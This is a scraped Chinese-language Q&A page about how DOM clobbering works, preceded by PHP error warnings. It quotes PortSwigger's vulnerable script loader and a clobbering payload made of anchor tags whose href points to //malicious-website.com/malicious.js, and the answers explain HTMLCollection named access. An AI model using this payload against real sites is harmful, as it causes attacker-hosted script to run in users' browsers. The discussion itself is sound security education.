Warning: file_get_contents(/data/phpspider/zhask/data//catemap/3/html/82.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Javascript DOM Clobbering及其工作原理_Javascript_Html_Dom_Frontend_Web Application Security - Fatal编程技术网

Javascript DOM Clobbering及其工作原理

Javascript DOM Clobbering及其工作原理,javascript,html,dom,frontend,web-application-security,Javascript,Html,Dom,Frontend,Web Application Security,我对以下主题有一些问题: Portswigger解释道: <script> window.onload = function(){ let someObject = window.someObject || {}; let script = document.createElement('script'); script.src = someObject.url; document.body.appendChild(script); }; <

我对以下主题有一些问题:

Portswigger解释道:

 <script>
 window.onload = function(){
    let someObject = window.someObject || {};
    let script = document.createElement('script');
    script.src = someObject.url;
    document.body.appendChild(script);
 };
</script>
锚元素是使用id引用的-一些浏览器将id直接存储在窗口对象()中

然而:

  • 为什么名称属性会用url覆盖url属性
  • DOM集合与所有这些有什么关系
  • window.someObject |{}
    ()中的对象初始值设定项是否在攻击中起作用
这是控制台所说的:

(有关此主题的更多信息也可在此处找到:)

为什么名称属性会用url覆盖url属性

因为
someObject
实际上是一个HTMLCollection,您可以通过名称访问
HTMLCollection
中的命名元素

console.log(document.getElementsByClassName(“test”).bar)

回到过去,我们会编写
document.all.something
来获取带有
name=“something”
的元素。这是在
getElementById()
之前。可以使用元素名作为键来访问DOM集合。另外,
htmlanchoreElement.toString()
返回已解析的
href
值,该值在此向量中使用。最后一个问题:为什么
script.src=someObject.url从整个锚元素中提取href?抱歉,发帖后马上就去了AFK。这是因为,
别问,这段代码汇集了各个时代的规范所积累的最糟糕的恐怖,它很好地说明了为什么它是糟糕的。。。
<a id=someObject><a id=someObject name=url href=//malicious-website.com/malicious.js>
var someObject = window.someObject || {};